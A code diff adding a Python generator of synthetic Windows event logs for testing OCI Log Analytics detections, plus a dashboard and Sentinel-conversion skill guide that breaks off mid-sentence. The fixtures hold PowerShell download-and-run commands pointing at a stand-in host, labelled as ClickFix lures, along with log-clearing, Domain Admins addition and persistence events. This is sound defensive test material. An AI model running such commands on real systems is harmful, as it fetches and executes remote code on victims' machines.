"ThreatID": "Threat ID", + "DetectionSource": "Detection Source", + "FilePath": "File Path", + "UtcTime": "Utc Time", + "Image": "Process Name", + "ParentImage": "Parent Process Name", + "ParentCommandLine": "Parent Command Line", + "TargetFilename": "Target Filename", + "Hashes": "Hashes", + "DestinationIp": "Destination IP", + "DestinationPort": "Destination Port", + "PipeName": "Pipe Name", + "QueryName": "Query Name", + "QueryResults": "Query Results", + } + for native_name, display_name in alias_map.items(): + value = record.get(native_name) + if value not in ("", None): + record[display_name] = value + if record.get("Source Address"): + record["Source IP"] = record["Source Address"] + if record.get("Status") and not record.get("Failure Reason"): + record["Failure Reason"] = record["Status"] + + +def generate_security_events() -> list[dict[str, Any]]: + host = "DC01.synthetic.example" + workstation = "WS01.synthetic.example" + events = [ + windows_event("security", 4719, computer=host, user="synthetic-admin", offset=1, record_id=1001, + message="System audit policy was changed.", + event_data={"SubjectUserName": "synthetic-admin", "Category": "Object Access", "Subcategory": "Audit File Share", "ChangeType": "Success Removed"}), + windows_event("security", 1102, computer=host, user="synthetic-admin", offset=2, record_id=1002, + message="The audit log was cleared.", + event_data={"SubjectUserName": "synthetic-admin"}), + windows_event("security", 4698, computer=workstation, user="synthetic-user", offset=3, record_id=1003, + message="A scheduled task was created.", + event_data={"SubjectUserName": "synthetic-user", "TaskName": "\\Microsoft\\Windows\\Update\\SyntheticCache", "CommandLine": "C:\\Windows\\Temp\\synthetic-cache.exe"}), + windows_event("security", 4702, computer=workstation, user="synthetic-user", offset=4, record_id=1004, + message="A scheduled task was updated.", + event_data={"SubjectUserName": "synthetic-user", "TaskName": "\\Microsoft\\Windows\\WDI\\SyntheticDiagnostic", "CommandLine": "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass"}), + windows_event("security", 4697, computer=workstation, user="synthetic-admin", offset=5, record_id=1005, + message="A service was installed in the system.", + event_data={"SubjectUserName": "synthetic-admin", "ServiceName": "SyntheticUpdate", "ServiceFileName": "C:\\Windows\\Temp\\synthetic-update.exe"}), + windows_event("security", 4728, computer=host, user="synthetic-admin", offset=10, record_id=1010, + message="A member was added to a security-enabled global group.", + event_data={"SubjectUserName": "synthetic-admin", "TargetUserName": "Domain Admins", "MemberName": "CN=synthetic-user,CN=Users,DC=synthetic,DC=example"}), + windows_event("security", 4688, computer=workstation, user="synthetic-user", offset=12, record_id=1012, + message="A new process has been created.", + event_data={"SubjectUserName": "synthetic-user", "NewProcessName": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "CommandLine": "powershell.exe -NoProfile -WindowStyle Hidden -Command \"# ClickFix fake CAPTCHA; iwr https://synthetic.example/p.ps1 | iex\""}), + ] + for index in range(4): + events.append( + windows_event("security", 4771, computer=host, user="sql_svc", offset=6 + index, record_id=1100 + index, + message="Kerberos pre-authentication failed.", + event_data={"TargetUserName": "sql_svc", "TargetDomainName": "SYNTHETIC", "Status": "0x18", "IpAddress": "192.0.2.45", "SourceAddress": "192.0.2.45"}) + ) + events.append( + windows_event("security", 4776, computer=host, user="backup_svc", offset=14 + index, record_id=1200 + index, + message="The computer attempted to validate the credentials for an account.", + event_data={"TargetUserName": "backup_svc", "Workstation": "SYNTH-WS01", "Status": "0xC000006A", "SourceAddress": "192.0.2.46"}) + ) + events.append( + windows_event("security", 4798 if index % 2 == 0 else 4799, computer=workstation, user="synthetic-user", offset=24 + index, record_id=1400 + index, + message="A user or local group membership was enumerated.", + event_data={"SubjectUserName": "synthetic-user", "TargetUserName": "Administrator", "SourceAddress": "192.0.2.48"}) + ) + share_events = [ + (5140, "\\\\*\\C$", ""), + (5145, "\\\\*\\ADMIN$", "Temp\\synthetic.exe"), + (5145, "\\\\*\\C$", "Windows\\Temp\\synthetic-stage.ps1"), + ] + for index, (event_id, share_name, target_name) in enumerate(share_events): + events.append( + windows_event("security", event_id, computer=workstation, user="synthetic-user", offset=18 + index, record_id=1300 + index, + message="A network share object was accessed.", + event_data={"SubjectUserName": "synthetic-user", "ShareName": share_name, "RelativeTargetName": target_name, "AccessMask": "0x12019f", "IpAddress": "192.0.2.47", "SourceAddress": "192.0.2.47"}) + ) + return events + + +def generate_system_events() -> list[dict[str, Any]]: + return [ + windows_event("system", 7045, computer="WS01.synthetic.example", user="SYSTEM", offset=20, record_id=2001, + message="A service was installed in the system.", + event_data={"ServiceName": "SyntheticUpdate", "ServiceFileName": "C:\\Windows\\Temp\\synthetic-update.exe"}), + windows_event("system", 104, computer="WS01.synthetic.example", user="synthetic-admin", offset=21, record_id=2002, + message="The System log file was cleared.", + event_data={"SubjectUserName": "synthetic-admin"}), + ] + + +def generate_powershell_events() -> list[dict[str, Any]]: + script = "IEX(New-Object Net.WebClient).DownloadString('https://synthetic.example/stage.ps1') # ClickFix fake CAPTCHA clipboard instruction" + return [ + windows_event("powershell", 4104, computer="WS01.synthetic.example", user="synthetic-user", offset=30, record_id=3001, + message="Creating Scriptblock text.", + event_data={"ScriptBlockText": script, "ScriptBlockId": "synthetic-scriptblock-001", "HostApplication": "powershell.exe -NoProfile -ExecutionPolicy Bypass", "ProcessName": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "CommandLine": "powershell.exe -NoProfile -ExecutionPolicy Bypass"}), + windows_event("powershell", 4103, computer="WS01.synthetic.example", user="synthetic-user", offset=31, record_id=3002, + message="PowerShell pipeline execution details.", + event_data={"ScriptBlockText": "Get-ADUser -Filter * -Properties *", "HostApplication": "powershell.exe", "ProcessName": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"}), + ] + + +def generate_defender_events() -> list[dict[str, Any]]: + return [ + windows_event("defender", 1116, computer="WS01.synthetic.example", user="SYSTEM", offset=40, record_id=4001, + message="Microsoft Defender Antivirus detected malware.", + event_data={"ThreatName": "Trojan:Win32/Synthetic", "ThreatID": "2147712345", "Action": "Detected", "Status": "Active", "Severity": "High", "DetectionSource": "Real-Time Protection", "FilePath": "C:\\Users\\Public\\synthetic.exe"}), + windows_event("defender", 1117, computer="WS01.synthetic.example", user="SYSTEM", offset=41, record_id=4002, + message="Microsoft Defender Antivirus took action to protect this machine.", + event_data={"ThreatName": "Trojan:Win32/Synthetic", "ThreatID": "2147712345", "Action": "Quarantined", "Status": "Remediated", "Severity": "High", "DetectionSource": "Real-Time Protection", "FilePath": "C:\\Users\\Public\\synthetic.exe"}), + windows_event("defender", 5007, computer="WS01.synthetic.example", user="SYSTEM", offset=42, record_id=4003, + message="Microsoft Defender Antivirus configuration has changed.", + event_data={"ThreatName": "Defender Configuration Change", "ThreatID": "0", "Action": "ConfigurationChanged", "Status": "Changed", "Severity": "Medium", "DetectionSource": "Configuration", "FilePath": "HKLM\\SOFTWARE\\Microsoft\\Windows Defender"}), + ] + + +def generate_sysmon_events() -> list[dict[str, Any]]: + return [ + windows_event("sysmon", 29, computer="WS01.synthetic.example", user="synthetic-user", offset=50, record_id=5001, + message="File executable detected.", + event_data={"UtcTime": iso_time(50), "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "TargetFilename": "C:\\Users\\Public\\Downloads\\synthetic-viewer.exe", "Hashes": "SHA256=SYNTHETIC"}), + windows_event("sysmon", 11, computer="WS01.synthetic.example", user="synthetic-user", offset=51, record_id=5002, + message="File created.", + event_data={"UtcTime": iso_time(51), "Image": "C:\\Windows\\System32\\cmd.exe", "TargetFilename": "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\synthetic-updater.exe", "Hashes": "SHA256=SYNTHETIC"}), + windows_event("sysmon", 1, computer="WS01.synthetic.example", user="synthetic-user", offset=52, record_id=5003, + message="Process Create.", + event_data={"UtcTime": iso_time(52), "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "ParentImage": "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "ParentCommandLine": "chrome.exe https://synthetic.example/captcha", "CommandLine": "powershell.exe -NoProfile -WindowStyle Hidden -Command \"# ClickFix fake CAPTCHA; iwr https://synthetic.example/p.ps1 | iex\""}), + ] + + +def generate_all() -> dict[str, list[dict[str, Any]]]: + return { + CHANNELS["security"].filename: generate_security_events(), + CHANNELS["system"].filename: generate_system_events(), + CHANNELS["powershell"].filename: generate_powershell_events(), + CHANNELS["defender"].filename: generate_defender_events(), + CHANNELS["sysmon"].filename: generate_sysmon_events(), + } + + +def validate_record(record: dict[str, Any]) -> list[str]: + errors = [] + event = record.get("Event") + if not isinstance(event, dict): + return ["missing Event envelope"] + system = event.get("System", {}) + event_data = event.get("EventData", {}).get("Data", []) + if not system.get("Provider", {}).get("Name"): + errors.append("missing Event.System.Provider.Name") + if str(system.get("EventID", "")) != str(record.get("EventID", "")): + errors.append("Event.System.EventID does not match top-level EventID") + if system.get("TimeCreated", {}).get("SystemTime") != record.get("TimeCreated"): + errors.append("Event.System.TimeCreated.SystemTime does not match top-level TimeCreated") + if not isinstance(event_data, list) or not all("Name" in item and "#text" in item for item in event_data): + errors.append("Event.EventData.Data must be a list of Name/#text pairs") + for required in ("Log Source", "Event ID", "Computer", "Host Name (Server)", "msg"): + if required not in record: + errors.append(f"missing parser alias {required}") + return errors + + +def validate_files(out_dir: Path, filenames: list[str] | None = None) -> dict[str, list[str]]: + targets = filenames or sorted(generate_all()) + report = {} + for filename in targets: + path = out_dir / filename + file_errors = [] + if not path.exists(): + report[filename] = [f"missing file: {path}"] + continue + for line_number, line in enumerate(path.read_text().splitlines(), start=1): + try: + record = json.loads(line) + except json.JSONDecodeError as exc: + file_errors.append(f"line {line_number}: invalid JSON: {exc}") + continue + for error in validate_record(record): + file_errors.append(f"line {line_number}: {error}") + report[filename] = file_errors + return report + + +def write_files(out_dir: Path, datasets: dict[str, list[dict[str, Any]]]) -> dict[str, int]: + out_dir.mkdir(parents=True, exist_ok=True) + counts = {} + for filename, records in datasets.items(): + with (out_dir / filename).open("w", encoding="utf-8") as handle: + for record in records: + handle.write(json.dumps(record, sort_keys=True) + "\n") + counts[filename] = len(records) + manifest = { + "schema_version": "1.0.0", + "generated_at": datetime.now(timezone.utc).isoformat(timespec="seconds"), + "source": "windows_eventlog_synthetic.py", + "files": {filename: {"event_count": count} for filename, count in sorted(counts.items())}, + } + (out_dir / "manifest.json").write_text(json.dumps(manifest, indent=2, sort_keys=True) + "\n", encoding="utf-8") + return counts + + +def upload_file(la_client: Any, namespace: str, log_group_id: str, source_name: str, path: Path) -> bool: + with path.open("rb") as handle: + body = io.BytesIO(handle.read()) + response = la_client.upload_log_file( + namespace_name=namespace, + upload_name=f"windows-eventlog-synthetic-{path.stem}", + log_source_name=source_name, + filename=path.name, + opc_meta_loggrpid=log_group_id, + upload_log_file_body=body, + content_type="application/octet-stream", + char_encoding="UTF-8", + ) + print(f"uploaded {path.name}: status={response.status} source={source_name}") + return 200 <= int(response.status) < 300 + + +def ingest(out_dir: Path, filenames: list[str] | None = None, dry_run: bool = False) -> int: + validation = validate_files(out_dir, filenames) + failed = {name: errors for name, errors in validation.items() if errors} + if failed: + for name, errors in failed.items(): + print(f"{name}: validation failed") + for error in errors: + print(f" - {error}") + return 2 + + channel_by_filename = {channel.filename: channel for channel in CHANNELS.values()} + targets = filenames or sorted(channel_by_filename) + if dry_run: + for filename in targets: + group = channel_by_filename[filename].source_group + print(f"dry-run {filename}: candidates={SOURCE_CANDIDATE_GROUPS[group]}") + return 0 + + la_client = get_la_client() + namespace = get_namespace(la_client) + log_group_id = ensure_log_group(la_client, namespace) + available_sources = list_available_log_sources(la_client, namespace, resolve_compartment_id()) + + ok = True + for filename in targets: + path = out_dir / filename + group = channel_by_filename[filename].source_group + source_name = resolve_source_from_candidates(available_sources, SOURCE_CANDIDATE_GROUPS[group]) + if not source_name: + source_name = SOURCE_CANDIDATE_GROUPS[group][0] + print(f"warn: no candidate found for {filename}; trying {source_name}") + ok = upload_file(la_client, namespace, log_group_id, source_name, path) and ok + return 0 if ok else 1 + + +def print_validation_report(report: dict[str, list[str]]) -> int: + ok = True + for filename, errors in sorted(report.items()): + if errors: + ok = False + print(f"{filename}: FAIL") + for error in errors: + print(f" - {error}") + else: + print(f"{filename}: OK") + return 0 if ok else 1 + + +def main() -> int: + parser = argparse.ArgumentParser(description="Generate official-shaped Windows Event Log synthetic data") + subparsers = parser.add_subparsers(dest="command", required=True) + + gen = subparsers.add_parser("generate", help="Write synthetic Windows event log JSONL files") + gen.add_argument("--out-dir", type=Path, default=DEFAULT_OUT_DIR) + + val = subparsers.add_parser("validate", help="Validate generated Windows event log JSONL files") + val.add_argument("--out-dir", type=Path, default=DEFAULT_OUT_DIR) + val.add_argument("--files", nargs="*", default=None) + + ing = subparsers.add_parser("ingest", help="Upload generated files to OCI Log Analytics") + ing.add_argument("--out-dir", type=Path, default=DEFAULT_OUT_DIR) + ing.add_argument("--files", nargs="*", default=None) + ing.add_argument("--dry-run", action="store_true") + + args = parser.parse_args() + + if args.command == "generate": + counts = write_files(args.out_dir, generate_all()) + for filename, count in sorted(counts.items()): + print(f"{filename}: {count} events") + return print_validation_report(validate_files(args.out_dir)) + if args.command == "validate": + return print_validation_report(validate_files(args.out_dir, args.files)) + if args.command == "ingest": + return ingest(args.out_dir, args.files, args.dry_run) + return 2 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/observability-and-management/assets/oci-log-analytics-detections/skills/oci-log-analytics-dashboard-enhancer/SKILL.md b/observability-and-management/assets/oci-log-analytics-detections/skills/oci-log-analytics-dashboard-enhancer/SKILL.md new file mode 100644 index 000000000..f50d27ad0 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/skills/oci-log-analytics-dashboard-enhancer/SKILL.md @@ -0,0 +1,377 @@ +--- +name: oci-log-analytics-dashboard-enhancer +description: Use when enhancing Oracle Cloud Infrastructure Log Analytics dashboards, saved searches, visualizations, widget layouts, tile-in-link layouts, drilldowns, app/APM log queries, or detection-rule-backed alerting. Apply this skill whenever dashboards have overlapping widgets, query fields need source/parser validation, saved-search visualization metadata is changing, or detection rules and dashboard widgets need to be correlated. Also use when extending the Microsoft Sentinel KQL → Logan QL converter — operator extractions, canonicalizer or tier-classifier changes, mapping-allow-list edits, or designing a similar source-language converter (Splunk SPL, Elastic ES|QL) on top of the same `scripts/kql/` + OPERATOR_REGISTRY scaffolding. +--- + +# OCI Log Analytics Dashboard Enhancer + +Use this skill when the task is to improve an OCI Log Analytics dashboard or saved search, add a new visualization, make a widget more actionable, or pair a dashboard view with a detection rule and alarm path. + +## First decisions + +Start by identifying the correct surface: + +- Source-derived detection rule: `rules/**` +- Generated OCI query derived from Sigma: run `scripts/convert_sigma.py` +- Source-derived Microsoft Sentinel rule or hunting query: use the Sentinel workflow wrapper in `scripts/sentinel_conversion_workflow.py`; it delegates to `scripts/convert_sentinel_kql.py` +- Curated app telemetry analytic: `queries/apps/*.json` +- Curated hunting or dashboard analytic: `queries/hunting/*.json` +- Dashboard composition and widget wiring: `scripts/deploy_dashboard.py` + +Then decide whether the ask is primarily: + +- A KPI or summary view +- An investigative drilldown +- A relationship or anomaly view +- A geographic view +- A detection and alerting workflow + +## Repo-specific rules + +Read [repo-integration.md](references/repo-integration.md) before editing dashboards in this repository. + +Key local constraints: + +- Dashboard widgets are embedded saved searches created by `scripts/deploy_dashboard.py`. +- Query JSON can define dashboard metadata under `dashboard.visualizationType`, `dashboard.visualizationOptions`, `dashboard.timeSelection`, `dashboard.layout`, and `dashboard.ask_ai_prompts`. +- Widget entries in `DASHBOARDS` can override query metadata with `visualization_type`, `visualization_options`, `time_selection`, `layout`, and `ask_ai_prompts`. +- Dashboard placement uses a 12-column grid. `resolve_widget_layout()` merges visualization defaults, query layout, and widget layout; `build_dashboard_json()` assigns `row` and `column` and wraps widgets when a row is full. +- Avoid hand-authored `row` or `column` metadata unless you are deliberately extending the placement algorithm. Most dashboard changes should only set `width` and `height`. +- App and APM analytics must stay on the supported `SOC Application Logs` schema and pass `scripts/test_app_query_contract.py`. +- Sentinel conversions must stay on the real OCI field/source allow-list in `config/sentinel_oci_mapping.yaml` and `queries/log_source_field_dictionary.json`; do not add placeholder or guessed fields just to increase conversion count. +- Keep new analytics in the right surface; do not add hand-authored content under `logandetectionqueries/` or `logandetectionrules/`. + +## Dashboard layout guardrails + +Use the repo layout helpers instead of inventing per-dashboard placement. + +- Start with the visualization defaults in `VISUALIZATION_LAYOUT_DEFAULTS`. +- Prefer full-width `12x5` or `12x6` tiles for `table`, `summary_table`, `records`, `records_histogram`, `table_histogram`, `link`, `cluster`, `issues`, and `map` widgets because these usually expose wide investigation fields. +- Use compact `3x3` tiles only for KPI-style `tile` or `distinct` widgets. +- Use `6x5` or `6x6` for compact charts such as `line`, `bar`, `hbar`, `pie`, `sunburst`, and `treemap`. +- Keep `width` between `1` and `12`; keep `height` positive. +- Before considering a dashboard complete, build the dashboard JSON and verify tile rectangles do not overlap. The focused unit test is `test_build_dashboard_json_layout_prevents_tile_overlap`. + +## Visualization selection + +Read [oracle-log-analytics-capabilities.md](references/oracle-log-analytics-capabilities.md) when you need command limits, URL parameters, tile XML, or detection-rule guardrails. + +Use these defaults: + +- `summary_table`: best default for KPI rollups and multi-field correlation. +- `tile`: single KPI, distinct count, or period-over-period metric. +- `records` or `table`: when analysts need raw rows. +- `records_histogram` or `table_histogram`: when fast drilldown from time buckets matters. +- `sunburst` or `treemap`: hierarchical composition across 2-3 grouping fields. +- `link`: transaction or relationship analysis across fields and time. +- `cluster` or `issues`: high-volume anomaly triage, not routine scorecards. +- `map`: spatial analysis. In this repo, inspect the existing geographic-health queries before changing shape. +- `tile` in `link`: compact executive summaries or hidden detail panes behind a single widget. + +Default to the simplest visualization that answers the operator question. Do not force exotic charts onto routine SOC dashboards. + +## Visualization render-safety (CRITICAL — learned 2026-06-09) + +OCI's dashboard renderer adds a hidden records-companion query for some widget +types: it appends `| fields Time` (chart/grid companion) or `| fields ID` (table +row identity) to the saved-search query at **render time**. After an aggregation +those fields do not exist, so the widget shows a banner error: + +- `timestats … | fields ID` → **"Invalid field for FIELDS after TIMESTATS: ID"** +- `stats … | fields Time` → **"Invalid field for FIELDS after STATS: Time"** + +This is invisible to `scripts/parse_validate_all_queries.py` (uses `parse_query`, +syntax only) **and** to a direct `LogAnalyticsClient.query()` — both pass. It only +reproduces in the live dashboard, or by manually appending `| fields ID` / +`| fields Time` to the query via the query API. So a green parse gate and green +deploy-time live validation are **not** sufficient; the visualization/query +pairing must also be render-safe. + +Safe pairings (enforce these): + +| Query shape | Use | Never use | +|---|---|---| +| `timestats … by X` (timeline) | `line` + `visualizationOptions {timeField:"Time", seriesField:X, valueField:}` and an explicit `span` | `table`, `records`, `sunburst`, `bar` (timestats→table appends `ID`) | +| `stats … by X` (rollup) | `summary_table` (or plain `table` — safe for stats) | `sunburst`, `line`, `pie`, `treemap` (stats→chart appends `Time`) | +| `stats … by A,B` hierarchy | `summary_table` | `sunburst`/`treemap` (they append `Time` and error) | +| single value | `tile` + `dataField` | — | +| `link … | eventstats` | `link` (+ `tileLayoutXml`) | — | + +Rules of thumb: + +- A `line`/timeline widget MUST carry `timeField` (or `xField`) **and** + `valueField` in `visualizationOptions`; without them OCI cannot map the + timestats output to axes and falls back to a records render that errors. +- Plain `table` is safe for `stats` output (it shows the stat columns) but NOT + for `timestats` output (OCI adds a row `ID`). +- Sunburst is attractive but currently triggers the `stats→Time` append — prefer + `summary_table` for MITRE/OWASP rollups on this platform until proven otherwise. +- `bar`/`hbar` (categorical x-axis) do not append a time grid and are safe for + `stats`. + +The Sentinel generator encodes this: `scripts/convert_sentinel_kql.py` +`_dashboard_metadata()` maps any `stats`/`timestats`/`eventstats` query to +`summary_table`, never `table`. + +## Deploy gotcha: --cleanup soft-delete resurrection (learned 2026-06-09) + +`scripts/deploy_dashboard.py --cleanup` soft-deletes saved searches. OCI keeps a +soft-deleted saved search by ID for a window; re-importing a saved search with the +**same stable ID** within that window **resurrects the old saved search** (stale +`visualizationType` / `timeSelection`) instead of applying the new `uiConfig`. The +symptom: deploys report success but the live dashboard keeps the old widget count +and old time window (e.g. stays at `l24h` after you changed everything to `l21d`). + +Fix (now in `build_dashboard_json`): embedded saved-search IDs carry the +dashboard's per-deploy timestamp suffix (`-`), the same way +dashboard IDs already do, so every deploy mints fresh IDs and cannot collide with +a soft-deleted one. The tile's `savedSearchId` uses the same suffixed ID. Regression +test: `test_build_dashboard_json_saved_search_ids_unique_per_deploy`. + +When a live dashboard looks stale, verify what is actually deployed (do not trust +the deploy summary): fetch the dashboard via `DashxApisClient.get_management_dashboard` +and inspect each `saved_searches[].ui_config` `visualizationType`/`timeSelection`. + +## Time window for demo data + +`DEFAULT_DASHBOARD_TIME_PERIOD` is `l21d` so dashboards open on the full 3-week +synthetic window (a `l24h` default shows ~1/21 of the spread data and most sparse +detections render empty). The dashboard time parameter default and all +non-overridden widgets inherit it. + +## Compartment scope gotcha + +Dashboards and data both live in the deploy `COMPARTMENT_ID`. If the OCI Console +resource-scope filter (`rs=` in the URL / the scope picker) points at a different +compartment, every widget shows "no data" even though the data exists. Confirm the +console scope matches the deploy compartment (and Include sub-compartments = on) +before assuming a data or query problem. + +## Query design heuristics + +For dashboard-friendly analytics: + +- Prefer `stats` for summary widgets and tables. +- Prefer `timestats` for trends and service-health timelines. +- Use `link` when the analysis is about grouped transactions, sessions, entities, or multi-step activity. +- Use `compare` only for interactive link/time comparisons, not for scheduled-search detection rules. +- Use `geostats` only when the target view really needs map semantics; scheduled-search detection rules do not support it. + +For widget output: + +- Keep field names readable and stable. +- Alias the metric field intentionally. +- Limit cardinality before putting the result on a dashboard. +- Keep `stats by` groupings to four fields or fewer for app/dashboard queries. +- If the chart is noisy, sort or reduce to top/bottom values before rendering. + +## App/APM query contracts + +For Octo APM Demo and other application observability dashboards: + +- Use `'Log Source' = 'SOC Application Logs'` and the parser/source field names defined by the synthetic log contract. +- Correlate logs, spans, and metrics with quoted dashboard fields such as `'Trace ID'`, `'Span ID'`, `'Span Name'`, `'Service Name'`, `'APM Domain'`, `'Workflow ID'`, `'Workflow Step'`, `'Run ID'`, and `'Metric Name'`. +- For threat-hunting workshop stories, preserve fields that let users pivot across evidence: `'Attack ID'`, `'Attack Stage'`, `'MITRE Technique ID'`, `'Payment Redirect URL'`, `'Compromised VM'`, `'Host Name'`, and `'OSQuery Finding'`. +- Avoid legacy application tokens blocked by `scripts/test_app_query_contract.py`, including unquoted OTel-style names such as `service.name`, `trace_id`, `http.status_code`, and `http.response_time_ms`. +- Pair correlation widgets deliberately: one trend/timeline, one trace/span rollup, one error or payment-threat table, and one raw-log or link view for investigation. +- Do not put LAQL colon placeholders such as `:attack_id`, `:trace_id`, or `:request_id` in saved-search or dashboard queries. OCI Log Analytics rejects them in dashboard widgets with parser errors like `Unexpected input for WHERE: :attack_id` or `Unexpected input for SEARCH: :attack_id`. Dashboard-safe queries must run without runtime placeholders; for manual pivots, document copied Log Explorer filters with placeholder literals such as `'Attack ID' = ''`. + +Current Octo APM workshop baseline, last live-verified in `emdemo` on 2026-05-12: + +- `OCI-DEMO: Octo APM Demo Dashboard` has 17 tiles and 17 embedded saved searches pinned to `l21d`. +- The dashboard returned 17/17 widget HITs over `24h` after fresh workshop evidence ingestion. +- The Octo APM detection-rule query pack returned 5/5 HITs over `24h`. +- Five scheduled-search rules were present and `ACTIVE`/`READY` with `MONITORING` as the target service. +- Keep all docs, examples, and runbooks variable-safe. Use placeholders such as `${OCI_PROFILE}`, `${OCI_COMPARTMENT_ID}`, `${LA_NAMESPACE}`, `${LOG_ANALYTICS_LOG_GROUP_ID}`, ``, and `` instead of tenancy values, OCIDs, hostnames, or IP addresses. + +## Microsoft Sentinel conversion workflow + +Use this path when promoting official Microsoft Sentinel KQL into OCI Log Analytics / Logan QL. + +Read [kql-conversion-architecture.md](references/kql-conversion-architecture.md) before adding a new operator, mapping a new KQL function, splitting the converter into smaller modules, or designing a different source-language converter (Splunk SPL, Elastic ES|QL, etc.). That file documents the `scripts/kql/` subpackage layout, the `OPERATOR_REGISTRY` dispatch pattern, the `canonical()` form used for snapshot testing, the `Tier` classifier, the behavior-preserving refactor strategy that produced Phase 6, and the entry-point compatibility rules. + +Canonical surfaces: + +- Source cache: `.sentinel/Azure-Sentinel/` is local cache only and must not be committed. +- Candidate export: `queries/sentinel_candidates.json` is generated intake data and must not be committed unless the project policy changes. +- Mapping allow-list: `config/sentinel_oci_mapping.yaml`. +- Converter facade: `scripts/convert_sentinel_kql.py` (≤800 lines — CLI + I/O orchestration + re-exports for the D-15 public surface). +- Converter implementation: `scripts/kql/` subpackage (`types.py`, `canonical.py`, `lexer.py`, `pipeline.py`, `operators/_op.py`, `_facade_impl.py` Phase 7+ staging area). +- Operator dispatch: `scripts.kql.operators.OPERATOR_REGISTRY` (Phase 6: 12 supported families + 9 unsupported, all registered via `@register("")`). +- Test harness: `scripts/test_kql/` (Hypothesis idempotence, 18 golden fixtures, line-budget gate, operator-level unit tests). +- Simple operator workflow: `scripts/sentinel_conversion_workflow.py`. +- Promoted query surface: `queries/sentinel/*.json`. +- Conversion report: `queries/sentinel_conversion_report.json` (Phase 6: includes `summary.tier_distribution` and per-candidate `tier`). +- Static review page: `docs/sentinel_converter.html`. + +Subpackage decision rules (more in [kql-conversion-architecture.md](references/kql-conversion-architecture.md)): + +| Change shape | Goes in | +|---|---| +| New per-operator rewrite | `scripts/kql/operators/_op.py` (function returns `StageResult`) | +| New KQL function rewrite | `scripts/kql/functions/.py` | +| Stage splitting / tokenizing | `scripts/kql/lexer.py` (or `_facade_impl.py` during Phase 7 redistribution) | +| Field/table mapping rule | `config/sentinel_oci_mapping.yaml` (data, not code) | +| Logan QL output validator | `validate_logan_query_local` (Phase 6 lives in `scripts/kql/_facade_impl.py`; Phase 7 lifts it into a dedicated validator module) | +| Ranking / payload / CLI / report | `scripts/convert_sentinel_kql.py` (the facade) | +| Operator commands (`local`, `promote`, …) | `scripts/sentinel_conversion_workflow.py` | + +Default promotion policy: + +- Ingest only official `Azure/Azure-Sentinel` content. +- Rank quality-first, but promote only candidates that pass both local validation and live OCI Log Analytics parser validation. +- Keep nonworking candidates in `queries/sentinel_conversion_report.json` with skip or live-failure reasons. +- Do not create alarms or run Terraform from the Sentinel converter flow. +- Dashboard groups should reference only `queries/sentinel/*.json` files with `live_validation_status: passed`. + +Field and source mapping rules: + +- Treat `config/sentinel_oci_mapping.yaml` as an allow-list, not a guess table. +- A mapped Logan field must exist in `queries/log_source_field_dictionary.json`, the converter's built-ins, or the approved Azure audit schema fields. +- Prefer dropping Sentinel entity-enrichment aliases such as `AccountCustomEntity`, `HostCustomEntity`, `IPCustomEntity`, `URLCustomEntity`, `DNSCustomEntity`, and `MalwareCustomEntity`; they describe Microsoft entity binding, not Logan fields. +- Preserve original Sentinel metadata on every promoted JSON: `source_type: microsoft_sentinel`, `sentinel_id`, `sentinel_source_path`, source URL, attribution/license, required connectors, MITRE metadata when present, severity, table names, and conversion status. +- Never promote queries with unresolved placeholders such as `{{...}}`, `GOES HERE`, `REPLACE_ME`, or colon parameters. +- Strip KQL explicit time filters such as `TimeGenerated > ago(...)`; OCI dashboard and validation windows provide the time range. +- Unsupported or unsafe KQL remains skipped: tabular `let`, `join`, `make-series`, `mv-expand`, `datatable`, watchlists, `externaldata`, custom functions, regex extraction/predicate, complex JSON bag expansion, `strlen`, `toint`, and raw `int(...)`. + +Simple commands: + +```bash +# Fast local conversion report without overwriting the canonical live report. +python3 scripts/sentinel_conversion_workflow.py local + +# Live-validate and write only working Sentinel queries. +python3 scripts/sentinel_conversion_workflow.py promote --top all --timeout 20 + +# Regenerate catalog, dashboard inventory, dashboard validation, and the HTML status page. +python3 scripts/sentinel_conversion_workflow.py refresh-artifacts + +# Full promotion loop: live promotion, catalog/inventory refresh, validation, HTML page. +python3 scripts/sentinel_conversion_workflow.py all --top all --timeout 20 + +# Rebuild only the static web review page from the latest report. +python3 scripts/sentinel_conversion_workflow.py page + +# Summarize conversion blockers without rerunning conversion. +python3 scripts/sentinel_conversion_workflow.py triage +python3 scripts/sentinel_conversion_workflow.py triage --json + +# Pick concrete Sentinel candidates for the next development iteration. +python3 scripts/sentinel_conversion_workflow.py next-queries --limit 10 +python3 scripts/sentinel_conversion_workflow.py next-queries --work-type field_mapping --json + +# Check report/file/dashboard consistency without rerunning conversion. +python3 scripts/sentinel_conversion_workflow.py status +python3 scripts/sentinel_conversion_workflow.py status --json +python3 scripts/sentinel_conversion_workflow.py status --json --strict +``` + +Developing later/new Sentinel queries: + +1. Use `triage` to understand the dominant blocker classes. +2. Use `next-queries` to select a small, quality-aware candidate queue. +3. For `field_mapping` and `table_mapping`, verify real OCI parser/source support before editing `config/sentinel_oci_mapping.yaml`. +4. For `live_environment`, rerun after OCI auth/clock-skew issues are healthy before changing converter logic. +5. For `local_validation`, `live_validation`, and `kql_support`, change the deterministic converter and add focused tests; do not patch generated Sentinel JSON by hand. +6. Run `local`, then live-gated `promote`, then `refresh-artifacts`, `page`, `status --json --strict`, focused tests, and compile/full tests as appropriate. + +Latest Sentinel baseline from the current repo state: + +- 4,452 official Sentinel candidates attempted. +- 474 locally clean conversions after strict field/token validation. +- 421 live OCI parser-passing queries promoted under `queries/sentinel/`. +- 53 live validation failures retained in the report and not written as saved searches. +- Promoted category split: endpoint 252, M365 72, network 59, identity 27, Azure/cloud 11. +- Sentinel dashboards are generated in five groups capped at 24 widgets each: Identity, Endpoint, Azure Cloud, M365, and Network. + +Phase 6 converter-architecture baseline (recorded 2026-05-16): + +- `scripts/convert_sentinel_kql.py` is **678 lines** (under the 800-line CLAUDE.md hard rule). The `__all__` list pins the D-15 public surface. +- `scripts/kql/_facade_impl.py` holds the relocated converter helpers (1227 lines) — 